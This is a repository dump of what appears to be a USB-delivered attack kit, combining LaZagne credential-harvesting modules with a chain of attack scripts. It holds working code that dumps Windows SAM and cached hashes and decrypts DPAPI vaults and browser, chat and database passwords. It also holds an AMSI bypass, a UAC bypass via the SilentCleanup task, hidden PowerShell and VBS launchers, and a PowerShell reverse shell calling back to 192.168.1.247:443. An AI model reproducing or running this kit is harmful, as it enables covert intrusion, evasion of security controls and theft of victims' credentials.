├── Tools
├── Linux
│ └── lazagne
│ │ ├── __init__.py
│ │ ├── config
│ │ ├── __init__.py
│ │ ├── lib
│ │ │ ├── __init__.py
│ │ │ └── memorpy
│ │ │ │ ├── version.py
│ │ │ │ ├── structures.py
│ │ │ │ ├── Process.py
│ │ │ │ ├── LinStructures.py
│ │ │ │ ├── __init__.py
│ │ │ │ ├── wintools.py
│ │ │ │ ├── BaseProcess.py
│ │ │ │ ├── Locator.py
│ │ │ │ ├── utils.py
│ │ │ │ └── Address.py
│ │ ├── crypto
│ │ │ ├── __init__.py
│ │ │ ├── pbkdf2.py
│ │ │ └── pyaes
│ │ │ │ ├── __init__.py
│ │ │ │ └── util.py
│ │ ├── constant.py
│ │ ├── module_info.py
│ │ ├── run.py
│ │ └── manage_modules.py
│ │ └── softwares
│ │ ├── __init__.py
│ │ ├── git
│ │ ├── __init__.py
│ │ └── gitforlinux.py
│ │ ├── mails
│ │ ├── __init__.py
│ │ └── thunderbird.py
│ │ ├── memory
│ │ └── __init__.py
│ │ ├── browsers
│ │ └── __init__.py
│ │ ├── chats
│ │ ├── __init__.py
│ │ ├── psi.py
│ │ └── pidgin.py
│ │ ├── sysadmin
│ │ ├── __init__.py
│ │ ├── fstab.py
│ │ ├── docker.py
│ │ ├── aws.py
│ │ ├── filezilla.py
│ │ ├── apachedirectorystudio.py
│ │ ├── grub.py
│ │ ├── shadow.py
│ │ └── ssh.py
│ │ ├── wallet
│ │ ├── __init__.py
│ │ ├── kde.py
│ │ └── libsecret.py
│ │ ├── wifi
│ │ ├── __init__.py
│ │ ├── wifi.py
│ │ └── wpa_supplicant.py
│ │ └── databases
│ │ ├── __init__.py
│ │ ├── squirrel.py
│ │ └── dbvis.py
├── Mac
│ └── lazagne
│ │ ├── __init__.py
│ │ ├── config
│ │ ├── __init__.py
│ │ ├── crypto
│ │ │ ├── __init__.py
│ │ │ └── pyaes
│ │ │ │ ├── __init__.py
│ │ │ │ └── util.py
│ │ ├── manage_modules.py
│ │ ├── constant.py
│ │ └── module_info.py
│ │ └── softwares
│ │ ├── __init__.py
│ │ ├── mails
│ │ ├── __init__.py
│ │ └── thunderbird.py
│ │ ├── system
│ │ ├── __init__.py
│ │ ├── chainbreaker_module
│ │ │ ├── __init__.py
│ │ │ └── pbkdf2.py
│ │ └── system.py
│ │ └── browsers
│ │ └── __init__.py
├── Windows
│ ├── lazagne
│ │ ├── __init__.py
│ │ ├── config
│ │ │ ├── __init__.py
│ │ │ ├── crypto
│ │ │ │ ├── __init__.py
│ │ │ │ ├── rc4.py
│ │ │ │ └── pyaes
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ └── util.py
│ │ │ ├── lib
│ │ │ │ ├── __init__.py
│ │ │ │ └── memorpy
│ │ │ │ │ ├── version.py
│ │ │ │ │ ├── structures.py
│ │ │ │ │ ├── Process.py
│ │ │ │ │ ├── LinStructures.py
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ ├── wintools.py
│ │ │ │ │ ├── BaseProcess.py
│ │ │ │ │ ├── Locator.py
│ │ │ │ │ └── utils.py
│ │ │ ├── DPAPI
│ │ │ │ ├── __init__.py
│ │ │ │ └── system.py
│ │ │ ├── module_info.py
│ │ │ ├── constant.py
│ │ │ └── users.py
│ │ └── softwares
│ │ │ ├── __init__.py
│ │ │ ├── git
│ │ │ ├── __init__.py
│ │ │ └── gitforwindows.py
│ │ │ ├── php
│ │ │ ├── __init__.py
│ │ │ └── composer.py
│ │ │ ├── svn
│ │ │ ├── __init__.py
│ │ │ └── tortoise.py
│ │ │ ├── wifi
│ │ │ └── __init__.py
│ │ │ ├── browsers
│ │ │ ├── __init__.py
│ │ │ └── ucbrowser.py
│ │ │ ├── chats
│ │ │ ├── __init__.py
│ │ │ ├── pidgin.py
│ │ │ └── psi.py
│ │ │ ├── databases
│ │ │ ├── __init__.py
│ │ │ ├── squirrel.py
│ │ │ ├── postgresql.py
│ │ │ └── dbvis.py
│ │ │ ├── games
│ │ │ ├── __init__.py
│ │ │ ├── kalypsomedia.py
│ │ │ ├── roguestale.py
│ │ │ ├── turba.py
│ │ │ └── galconfusion.py
│ │ │ ├── mails
│ │ │ ├── __init__.py
│ │ │ ├── thunderbird.py
│ │ │ └── outlook.py
│ │ │ ├── maven
│ │ │ └── __init__.py
│ │ │ ├── memory
│ │ │ ├── __init__.py
│ │ │ ├── keepass.py
│ │ │ ├── libkeepass
│ │ │ │ ├── crypto.py
│ │ │ │ └── __init__.py
│ │ │ └── onepassword.py
│ │ │ ├── sysadmin
│ │ │ ├── __init__.py
│ │ │ ├── filezillaserver.py
│ │ │ ├── wsl.py
│ │ │ ├── ftpnavigator.py
│ │ │ ├── puttycm.py
│ │ │ ├── coreftp.py
│ │ │ ├── filezilla.py
│ │ │ ├── cyberduck.py
│ │ │ ├── openvpn.py
│ │ │ ├── apachedirectorystudio.py
│ │ │ ├── iisapppool.py
│ │ │ ├── unattended.py
│ │ │ └── rdpmanager.py
│ │ │ ├── windows
│ │ │ ├── __init__.py
│ │ │ ├── creddump7
│ │ │ │ ├── __init__.py
│ │ │ │ ├── win32
│ │ │ │ │ ├── __init__.py
│ │ │ │ │ └── rawreg.py
│ │ │ │ └── types.py
│ │ │ ├── hashdump.py
│ │ │ ├── cachedump.py
│ │ │ ├── credfiles.py
│ │ │ ├── vaultfiles.py
│ │ │ ├── lsa_secrets.py
│ │ │ ├── credman.py
│ │ │ ├── autologon.py
│ │ │ ├── ppypykatz.py
│ │ │ ├── vault.py
│ │ │ └── windows.py
│ │ │ └── multimedia
│ │ │ └── __init__.py
│ └── lazagne.spec
├── .gitignore
├── requirements.txt
└── .travis.yml
├── Antivirus.bat
├── Get-WlanProfiles.psm1
├── Scripts
├── ocult.vbs
├── Principal.bat
├── amsi.ps1
├── ByUac.ps1
└── rev.ps1
└── README.md
/Tools/Linux/lazagne/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/crypto/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/crypto/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/git/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/mails/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/memory/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/mails/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/system/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/crypto/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/git/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/php/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/svn/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/wifi/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/DPAPI/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/browsers/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/chats/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/databases/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/games/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/mails/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/maven/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/memory/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/sysadmin/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/multimedia/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | *.pyc
3 | venv
4 | .DS_Store
5 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/creddump7/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/system/chainbreaker_module/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/creddump7/win32/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/browsers/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/chats/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/sysadmin/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/wallet/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/wifi/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/browsers/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/databases/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Antivirus.bat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EdgarMarcoss/v3rdug0-USB/HEAD/Antivirus.bat
--------------------------------------------------------------------------------
/Get-WlanProfiles.psm1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/EdgarMarcoss/v3rdug0-USB/HEAD/Get-WlanProfiles.psm1
--------------------------------------------------------------------------------
/Scripts/ocult.vbs:
--------------------------------------------------------------------------------
1 | CreateObject("Wscript.Shell").Run "Powershell -executionpolicy remotesigned -File amsi.ps1",0,True
--------------------------------------------------------------------------------
/Scripts/Principal.bat:
--------------------------------------------------------------------------------
1 | powerSHeLl -NoPROf -NOLoGo -WInDoW HiDDEn -noNINteRaCTiV -C
2 |
3 | c:
4 |
5 | cd %userprofile%\appdata\local\temp
6 |
7 | ocult.vbs
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/version.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | version=(1,7)
5 | version_string="%s.%s"%version
6 |
7 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/version.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | version=(1,7)
5 | version_string="%s.%s"%version
6 |
7 |
--------------------------------------------------------------------------------
/Scripts/amsi.ps1:
--------------------------------------------------------------------------------
1 | [Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),5)
2 | .\rev.ps1
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/structures.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | import sys
5 | if sys.platform=="win32":
6 | from .WinStructures import *
7 | else:
8 | from .LinStructures import *
9 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/structures.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | import sys
5 | if sys.platform=="win32":
6 | from .WinStructures import *
7 | else:
8 | from .LinStructures import *
9 |
--------------------------------------------------------------------------------
/Scripts/ByUac.ps1:
--------------------------------------------------------------------------------
1 | New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /c start %userprofile%\appdata\local\temp\principal.bat REM" -PropertyType String -Force
2 | schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
3 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/softwares/mails/thunderbird.py:
--------------------------------------------------------------------------------
1 | from lazagne.config.module_info import ModuleInfo
2 | from lazagne.softwares.browsers.mozilla import Mozilla
3 |
4 |
5 | class Thunderbird(Mozilla):
6 |
7 | def __init__(self):
8 | self.path = '.thunderbird'
9 | ModuleInfo.__init__(self, 'Thunderbird', 'mails')
10 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/mails/thunderbird.py:
--------------------------------------------------------------------------------
1 | from lazagne.config.module_info import ModuleInfo
2 | from lazagne.softwares.browsers.mozilla import Mozilla
3 |
4 |
5 | class Thunderbird(Mozilla):
6 |
7 | def __init__(self):
8 | self.path = u'{APPDATA}\\Thunderbird'
9 | ModuleInfo.__init__(self, 'Thunderbird', 'mails')
10 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/mails/thunderbird.py:
--------------------------------------------------------------------------------
1 | from lazagne.config.module_info import ModuleInfo
2 | from lazagne.softwares.browsers.mozilla import Mozilla
3 | import os
4 |
5 | class Thunderbird(Mozilla):
6 |
7 | def __init__(self):
8 | self.path = u"~/Library/Thunderbird"
9 | ModuleInfo.__init__(self, 'Thunderbird', 'mails')
10 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/Process.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | import sys
5 | from .BaseProcess import *
6 | if sys.platform=='win32':
7 | from .WinProcess import WinProcess as Process
8 | elif sys.platform=='darwin':
9 | from .OSXProcess import OSXProcess as Process
10 | elif 'sunos' in sys.platform:
11 | from .SunProcess import SunProcess as Process
12 | else:
13 | from .LinProcess import LinProcess as Process
14 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/Process.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | import sys
5 | from .BaseProcess import *
6 | if sys.platform=='win32':
7 | from .WinProcess import WinProcess as Process
8 | elif sys.platform=='darwin':
9 | from .OSXProcess import OSXProcess as Process
10 | elif 'sunos' in sys.platform:
11 | from .SunProcess import SunProcess as Process
12 | else:
13 | from .LinProcess import LinProcess as Process
14 |
--------------------------------------------------------------------------------
/Tools/requirements.txt:
--------------------------------------------------------------------------------
1 | psutil; sys_platform == 'linux' or sys_platform == 'linux2'
2 | secretstorage; sys_platform == 'linux' or sys_platform == 'linux2'
3 | pyasn1
4 | enum34; python_version < '3.4' and sys_platform == 'win32'
5 | rsa; sys_platform == 'win32'
6 | https://github.com/AlessandroZ/pypykatz/archive/master.zip; python_version < '3.4' and sys_platform == 'win32'
7 | https://github.com/skelsec/pypykatz/archive/master.zip; python_version > '3.5' and sys_platform == 'win32'
8 | pycryptodome
9 |
--------------------------------------------------------------------------------
/Scripts/rev.ps1:
--------------------------------------------------------------------------------
1 |
2 | $client = New-Object System.Net.Sockets.TCPClient("192.168.1.247",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/softwares/system/system.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # !/usr/bin/python
3 |
4 | from lazagne.config.module_info import ModuleInfo
5 | from lazagne.config.constant import constant
6 |
7 |
8 | class System(ModuleInfo):
9 | def __init__(self):
10 | ModuleInfo.__init__(self, 'system', 'system')
11 |
12 | def run(self):
13 | pwd_found = []
14 | pwd_found += constant.keychains_pwd
15 | pwd_found += constant.system_pwd
16 |
17 | return pwd_found
18 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/lib/memorpy/LinStructures.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | PROT_NONE = 0
5 | PROT_READ = 1
6 | PROT_WRITE = 2
7 | PROT_EXEC = 4
8 | PROT_PRIVATE = 8
9 | PROT_SHARED = 16
10 |
11 | #Use some Windows constants for compatibility
12 | PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE
13 | PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ
14 | PAGE_READONLY = PROT_READ
15 | PAGE_READWRITE = PROT_READ | PROT_WRITE
16 |
17 | PTRACE_POKEDATA = 5
18 | PTRACE_ATTACH = 16
19 | PTRACE_DETACH =17
20 | PTRACE_CONT = 7
21 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/lib/memorpy/LinStructures.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF8 -*-
3 |
4 | PROT_NONE = 0
5 | PROT_READ = 1
6 | PROT_WRITE = 2
7 | PROT_EXEC = 4
8 | PROT_PRIVATE = 8
9 | PROT_SHARED = 16
10 |
11 | #Use some Windows constants for compatibility
12 | PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE
13 | PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ
14 | PAGE_READONLY = PROT_READ
15 | PAGE_READWRITE = PROT_READ | PROT_WRITE
16 |
17 | PTRACE_POKEDATA = 5
18 | PTRACE_ATTACH = 16
19 | PTRACE_DETACH =17
20 | PTRACE_CONT = 7
21 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/hashdump.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from .creddump7.win32.hashdump import dump_file_hashes
3 | from lazagne.config.module_info import ModuleInfo
4 | from lazagne.config.constant import constant
5 |
6 |
7 | class Hashdump(ModuleInfo):
8 | def __init__(self):
9 | ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True)
10 |
11 | def run(self):
12 | hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam'])
13 | if hashdump:
14 | pwd_found = ['__Hashdump__', hashdump]
15 | return pwd_found
16 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/cachedump.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from .creddump7.win32.domcachedump import dump_file_hashes
3 | from lazagne.config.module_info import ModuleInfo
4 | from lazagne.config.winstructure import get_os_version
5 | from lazagne.config.constant import constant
6 |
7 |
8 | class Cachedump(ModuleInfo):
9 | def __init__(self):
10 | ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True)
11 |
12 | def run(self):
13 | is_vista_or_higher = False
14 | if float(get_os_version()) >= 6.0:
15 | is_vista_or_higher = True
16 |
17 | mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher)
18 | if mscache:
19 | return ['__MSCache__', mscache]
20 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne.spec:
--------------------------------------------------------------------------------
1 | # -*- mode: python -*-
2 | import sys
3 | a = Analysis(
4 | ['laZagne.py'],
5 | pathex=[''],
6 | hiddenimports=[],
7 | hookspath=None,
8 | runtime_hooks=None
9 | )
10 |
11 | for d in a.datas:
12 | if 'pyconfig' in d[0]:
13 | a.datas.remove(d)
14 | break
15 |
16 | pyz = PYZ(a.pure)
17 | exe = EXE(
18 | pyz,
19 | a.scripts,
20 | a.binaries + [('msvcp100.dll', 'C:\\Windows\\System32\\msvcp100.dll', 'BINARY'),
21 | ('msvcr100.dll', 'C:\\Windows\\System32\\msvcr100.dll', 'BINARY')]
22 | if sys.platform == 'win32' else a.binaries,
23 | a.zipfiles,
24 | a.datas,
25 | name='lazagne.exe',
26 | debug=False,
27 | strip=None,
28 | upx=True,
29 | console=True
30 | )
31 |
--------------------------------------------------------------------------------
/Tools/Linux/lazagne/config/constant.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | import time
4 |
5 | date = time.strftime("%d%m%Y_%H%M%S")
6 |
7 |
8 | class constant():
9 | folder_name = 'results_{current_time}'.format(current_time=date)
10 | file_name_results = 'credentials' # The extension is added depending on the user output choice
11 | max_help = 27
12 | CURRENT_VERSION = '2.4.3'
13 | output = None
14 | file_logger = None
15 | verbose = False
16 | nb_password_found = 0 # Total password found
17 | password_found = []
18 | stdout_result = [] # Tab containing all results by user
19 | finalResults = {}
20 | quiet_mode = False
21 | st = None # Standard output
22 | modules_dic = {}
23 | chrome_storage = [] # Retrieved from libsecrets module
24 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/browsers/ucbrowser.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 |
4 | from lazagne.config.constant import constant
5 | from lazagne.config.module_info import ModuleInfo
6 | from lazagne.softwares.browsers.chromium_based import ChromiumBased
7 |
8 |
9 | class UCBrowser(ChromiumBased):
10 | def __init__(self):
11 | self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins'
12 | ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True)
13 |
14 | def _get_database_dirs(self):
15 | data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile)
16 | try:
17 | # UC Browser seems to have random characters appended to the User Data dir so we'll list them all
18 | self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)]
19 | except Exception:
20 | self.paths = []
21 | return ChromiumBased._get_database_dirs(self)
22 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/credfiles.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from lazagne.config.module_info import ModuleInfo
3 | from lazagne.config.constant import constant
4 | import os
5 |
6 |
7 | class CredFiles(ModuleInfo):
8 | def __init__(self):
9 | ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True)
10 |
11 | def run(self):
12 | pwd_found = []
13 | if constant.user_dpapi and constant.user_dpapi.unlocked:
14 | creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials')
15 | if os.path.exists(creds_directory):
16 | for cred_file in os.listdir(creds_directory):
17 | # decrypting creds files (Credman module not allow to retrieve domain password)
18 | cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file))
19 | if cred:
20 | pwd_found.append(cred)
21 |
22 | return pwd_found
23 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/manage_modules.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # !/usr/bin/python
3 |
4 | # browsers
5 | from lazagne.softwares.browsers.mozilla import firefox_browsers
6 | from lazagne.softwares.browsers.chrome import Chrome
7 |
8 | # mails
9 | from lazagne.softwares.mails.thunderbird import Thunderbird
10 |
11 | # system
12 | from lazagne.softwares.system.hashdump import HashDump
13 | from lazagne.softwares.system.chainbreaker import ChainBreaker
14 | from lazagne.softwares.system.system import System
15 |
16 |
17 | def get_categories():
18 | category = {
19 | 'browsers': {'help': 'Web browsers supported'},
20 | 'mails': {'help': 'Email clients supported'},
21 | 'system': {'help': 'System credentials'},
22 | }
23 | return category
24 |
25 |
26 | def get_modules():
27 | module_names = [
28 | Thunderbird(),
29 | Chrome(),
30 | HashDump(),
31 | ChainBreaker(),
32 | System()
33 | ]
34 | return module_names + firefox_browsers
35 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/windows/vaultfiles.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | from lazagne.config.module_info import ModuleInfo
3 | from lazagne.config.constant import constant
4 | import os
5 |
6 |
7 | class VaultFiles(ModuleInfo):
8 | def __init__(self):
9 | ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True)
10 |
11 | def run(self):
12 |
13 | pwd_found = []
14 | if constant.user_dpapi and constant.user_dpapi.unlocked:
15 | main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault')
16 | main_vault_directory = os.path.abspath(main_vault_directory)
17 | if os.path.exists(main_vault_directory):
18 | for vault_directory in os.listdir(main_vault_directory):
19 | cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory))
20 | if cred:
21 | pwd_found.append(cred)
22 |
23 | return pwd_found
24 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/chats/pidgin.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | from xml.etree.cElementTree import ElementTree
4 |
5 | from lazagne.config.constant import constant
6 | from lazagne.config.module_info import ModuleInfo
7 |
8 |
9 | class Pidgin(ModuleInfo):
10 | def __init__(self):
11 | ModuleInfo.__init__(self, 'pidgin', 'chats')
12 |
13 | def run(self):
14 | path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
15 | if os.path.exists(path):
16 | tree = ElementTree(file=path)
17 | root = tree.getroot()
18 | pwd_found = []
19 |
20 | for account in root.findall('account'):
21 | name = account.find('name')
22 | password = account.find('password')
23 | if all((name, password)):
24 | pwd_found.append({
25 | 'Login': name.text,
26 | 'Password': password.text
27 | })
28 | return pwd_found
29 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/softwares/databases/squirrel.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | import os
3 | from xml.etree.cElementTree import ElementTree
4 |
5 | from lazagne.config.constant import constant
6 | from lazagne.config.module_info import ModuleInfo
7 |
8 |
9 | class Squirrel(ModuleInfo):
10 | def __init__(self):
11 | ModuleInfo.__init__(self, name='squirrel', category='databases')
12 |
13 | def run(self):
14 | path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')
15 | if os.path.exists(path):
16 | tree = ElementTree(file=path)
17 | pwd_found = []
18 | elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
19 | for elem in tree.iter('Bean'):
20 | values = {}
21 | for e in elem:
22 | if e.tag in elements:
23 | values[elements[e.tag]] = e.text
24 | if values:
25 | pwd_found.append(values)
26 |
27 | return pwd_found
28 |
--------------------------------------------------------------------------------
/Tools/Mac/lazagne/config/constant.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # !/usr/bin/python
3 |
4 | import time
5 |
6 | date = time.strftime("%d%m%Y_%H%M%S")
7 |
8 |
9 | class constant():
10 | folder_name = '.'
11 | file_name_results = 'credentials_{current_time}'.format(current_time=date) # extension added (txt, json)
12 | MAX_HELP_POSITION = 27
13 | CURRENT_VERSION = '2.4.3'
14 | output = None
15 | file_logger = None
16 | verbose = False
17 | nbPasswordFound = 0 # total password found
18 | passwordFound = []
19 | keychains_pwd = [] # password of the keychain
20 | keychains_pwds = [] # passwords contained in the keychain
21 | system_pwd = []
22 | finalResults = {}
23 | quiet_mode = False
24 | st = None # standard output
25 | dictionary_attack = False
26 | user_password = None
27 | user_keychain_find = False
28 | stdout_result = [] # Tab containing all results by user
29 | modules_dic = {}
30 |
--------------------------------------------------------------------------------
/Tools/Windows/lazagne/config/DPAPI/system.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | Code based from these two awesome projects:
6 | - DPAPICK : https://bitbucket.org/jmichel/dpapick
